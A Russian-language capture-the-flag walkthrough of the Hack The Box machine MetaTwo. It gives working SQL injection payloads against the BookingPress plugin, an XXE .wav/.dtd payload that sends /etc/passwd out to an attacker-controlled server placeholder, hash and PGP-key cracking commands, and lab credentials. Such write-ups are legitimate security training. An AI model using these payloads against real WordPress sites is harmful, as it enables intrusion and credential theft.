[ MetaTwo | CVE-2022-0739 + CVE-2021-29447 | HTB Easy]
NetRunner
Описание
На этой машине имеем wordpress-сервер, один из плагинов которого уязвим для неаутентифицированной SQL-инъекции, используя которую можно получить пароль пользователя для админской панели. После получим доступ к внутренним файлам путем XXE-уязвимости, а также доступ к ftp-серверу, а для повышения привилегий взломаем блок приватного PGP-ключа менеджера паролей passpie.
Сканируем сервисы
$ nmap -T5 -sC -sV -oA nmap_result 10.10.11.186 # Nmap 7.93 scan initiated Sun Dec 4 11:19:07 2022 as: nmap -T5 -sC -sV -oA nmap_result 10.10.11.186 Warning: 10.10.11.186 giving up on port because retransmission cap hit (10). Nmap scan report for smtp.metapress.htb (10.10.11.186) Host is up (0.14s latency). Not shown: 994 closed tcp ports (conn-refused) PORT STATE SERVICE VERSION 21/tcp open ftp? 22/tcp open tcpwrapped |_ssh-hostkey: ERROR: Script execution failed (use -d to debug) 43/tcp filtered whois 80/tcp open http nginx 1.18.0 |_http-title: Did not follow redirect to http://metapress.htb/
Видим 80ый HTTP порт с редиректом на http://metapress.htb/, добавляем в /etc/hosts.
Веб-страница
Веб-сервер является Wordpress сервером с версией 5.6.2, которая уязвима для CVE-2021-29447, для которой нам нужно иметь доступ к учетке, обладающей правами загружать файлы.
Пользователь, имеющий возможность загружать файлы (например, автор), может воспользоваться проблемой синтаксического анализа XML в библиотеке мультимедиа, что приведет к атакам XXE. Для этого требуется установка WordPress с использованием PHP 8. Доступ к внутренним файлам возможен при успешной атаке XXE.

Также, в исходном коде страницы Events можем обнаружить, что используется плагин bookingpress версии 1.0.10, которая уязвима для CVE-2022-0739.

CVE-2022-0739
https://wpscan.com/vulnerability/388cd42d-b61a-42a4-8604-99b812db2357
Для эксплуатации уязвимости нам не нужно обладать правами какого-либо юзера и достаточно лишь иметь данные о переменной _wpnonce, значение которой можно найти в исходном коде страницы после активации ивента через модуль BookingPress:
- Создайте новую "категорию" и свяжите ее с новой "услугой" через меню администратора BookingPress (/wp-admin/admin.php?page=bookingpress_services) - Создайте новую страницу со встроенным шорткодом "[bookingpress_form]" - Зайдите на только что созданную страницу как неаутентифицированный пользователь и извлеките "_wpnonce" (view source -> search for "action:'bookingpress_front_get_category_services'") - Выполните следующую команду curl curl -i 'https://example.com/wp-admin/admin-ajax.php' \ --data 'action=bookingpress_front_get_category_services&_wpnonce=8cc8b79544&category_id=33&total_service=-7502) UNION ALL SELECT @@version,@@version_comment,@@version_compile_os,1,2,3,4,5,6-- -'
Получив _wpnonce, выполним команду и перехватим запрос бурпом, чтобы далее скормить это все в sqlmap:
$ сurl -i 'http://metapress.htb/wp-admin/admin-ajax.php' --data 'action=bookingpress_front_get_category_services&_wpnonce=f600af85bb&category_id=33&total_service=2' -x http://127.0.0.1:8080
Поймав запрос и сохранив его в файл, запустим slqmap:
$ sqlmap -r post.txt -p total_service -D blog -T wp_users --dump [*] starting @ 22:44:24 /2022-12-06/ [22:44:24] [INFO] parsing HTTP request from 'post.txt' [22:44:24] [INFO] resuming back-end DBMS 'mysql' [22:44:24] [INFO] testing connection to the target URL sqlmap resumed the following injection point(s) from stored session: --- Parameter: total_service (POST) Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: action=bookingpress_front_get_category_services&_wpnonce=be77c6197f&category_id=33&total_service=1) AND (SELECT 5232 FROM (SELECT(SLEEP(5)))hLrl) AND (2634=2634 Type: UNION query Title: Generic UNION query (NULL) - 9 columns Payload: action=bookingpress_front_get_category_services&_wpnonce=be77c6197f&category_id=33&total_service=1) UNION ALL SELECT NULL,NULL,CONCAT(0x71716b7871,0x5061684c6658754c64624e62786e504a7049646552447a744e6e71517255776177426b4244736476,0x71766a6a71),NULL,NULL,NULL,NULL,NULL,NULL-- - --- [22:44:24] [INFO] the back-end DBMS is MySQL web application technology: PHP 8.0.24, Nginx 1.18.0 back-end DBMS: MySQL >= 5.0.12 (MariaDB fork) [22:44:24] [INFO] fetching columns for table 'wp_users' in database 'blog' [22:44:24] [INFO] fetching entries for table 'wp_users' in database 'blog' [22:44:24] [INFO] recognized possible password hashes in column 'user_pass' do you want to store hashes to a temporary file for eventual further processing with other tools [y/N] N do you want to crack them via a dictionary-based attack? [Y/n/q] N Database: blog Table: wp_users [2 entries] +----+----------------------+------------------------------------+-----------------------+------------+-------------+--------------+---------------+---------------------+---------------------+ | ID | user_url | user_pass | user_email | user_login | user_status | display_name | user_nicename | user_registered | user_activation_key | +----+----------------------+------------------------------------+-----------------------+------------+-------------+--------------+---------------+---------------------+---------------------+ | 1 | http://metapress.htb | $P$BGrGrgf2wToBS79i07Rk9sN4Fzk.TV. | admin@metapress.htb | admin | 0 | admin | admin | 2022-06-23 17:58:28 | <blank> | | 2 | <blank> | $P$B4aNM28N0E.tMy/JIcnVMZbGcU16Q70 | manager@metapress.htb | manager | 0 | manager | manager | 2022-06-23 18:07:55 | <blank> | +----+----------------------+------------------------------------+-----------------------+------------+-------------+--------------+---------------+---------------------+---------------------+ [*] ending @ 22:44:28 /2022-12-06/

Получаем хеши, один из которых ломаем хешкетом, используя словарь rockyou:
❯ hashcat -m 400 -a 0 manager_pass.hash /usr/share/wordlists/rockyou.txt $P$B4aNM28N0E.tMy/JIcnVMZbGcU16Q70:partylikearockstar Session..........: hashcat Status...........: Cracked Hash.Mode........: 400 (phpass) Hash.Target......: $P$B4aNM28N0E.tMy/JIcnVMZbGcU16Q70 Time.Started.....: Tue Dec 6 23:08:23 2022 (17 secs) Time.Estimated...: Tue Dec 6 23:08:40 2022 (0 secs) Kernel.Feature...: Pure Kernel Guess.Base.......: File (/usr/share/wordlists/rockyou.txt) Guess.Queue......: 1/1 (100.00%) Speed.#1.........: 6857 H/s (9.25ms) @ Accel:512 Loops:128 Thr:1 Vec:8 Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new) Progress.........: 110592/14344385 (0.77%) Rejected.........: 0/110592 (0.00%) Restore.Point....: 106496/14344385 (0.74%) Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:8064-8192 Candidate.Engine.: Device Generator Candidates.#1....: harmless -> music69 Hardware.Mon.#1..: Temp: 84c Util: 98%
Имеем креды для входа в wp-панель, откуда мы сможем проэксплуатировать XXE-уязвимость CVE-2021-29447 о которой говорилось вначале:
manager@metapress.htb partylikearockstar


CVE-2021-29447
Для эксплуатации данной уязвимости необходим CMS ниже версии 5.7.1., PHP 8 и учетная запись юзера, имеющего права на загрузку медифайлов, что подходит для нашего случая.
https://tryhackme.com/room/wordpresscve202129447
https://www.acunetix.com/vulnerabilities/web/wordpress-5-6-x-multiple-vulnerabilities-5-6-5-6-2/
https://github.com/AssassinUKG/CVE-2021-29447
Для этого нам необходимо создать .wav файл с полезной нагрузкой:
echo -en 'RIFF\xb8\x00\x00\x00WAVEiXML\x7b\x00\x00\x00<?xml version="1.0"?><!DOCTYPE ANY[<!ENTITY % remote SYSTEM '"'"'http://YOURIP:PORT/DTDFILE.dtd'"'"'>%remote;%init;%trick;]>\x00' > malicious.wav
А также .dtd файл со следующим кодом, это позволит нам выполнить код после того, как веб-сервер получит .dtd файл.
<!ENTITY % file SYSTEM "php://filter/zlib.deflate/read=convert.base64-encode/resource=/etc/passwd"> <!ENTITY % init "<!ENTITY % trick SYSTEM 'http://YOURSERVERIP:PORT/?p=%file;'>" >
После запускаем веб-сервер на указанном порту и загружаем вредоносный .wav файл и получаем кодированный /etc/passwd:

Декодим его:

Через конфиг /etc/nginx/sites-enabled/default находим корневую папку вебсайта:

Проверяя /var/www/metapress.htb/blog/wp-config.php находим креды для ftp:

Подключаемся по ftp и по пути mailer/send_mail.php получаем креды, по которым подключаемся по ssh и забираем юзера:
# Check the content of send_email.php $mail->Host = "mail.metapress.htb"; $mail->SMTPAuth = true; $mail->Username = "jnelson@metapress.htb"; $mail->Password = "Cb4_JmWM8zUZWMu@Ys"; $mail->SMTPSecure = "tls"; $mail->Port = 587;

Повышение привилегий
На сервере настроен консольный менеджер паролей passpie, в котором присутствует ключ для root, зашифрованный PGP ключом, который находится в директории .passpie/:
https://github.com/marcwebbie/passpie


Забираем приватный ключ на нашу машину и конвертируем в удобный формат командой:
$ gpg2john passpie.key > key.john Passpie:$gpg$*17*54*3072*e975911867862609115f302a3d0196aec0c2ebf79a84c0303056df921c965e589f82d7dd71099ed9749408d5ad17a4421006d89b49c0*3*254*2*7*16*21d36a3443b38bad35df0f0e2c77f6b9*65011712*907cb55ccb37aaad:::Passpie (Auto-generated by Passpie) <passpie@local>::PASSPIE_PGP_KEY
И ломаем его используя john и rockyou:
$ john --wordlist=/usr/share/wordlists/rockyou.txt key.john

Зная ключевую фразу сохраняем пароли командой
$ passpie copy ssh
Получаем рута:
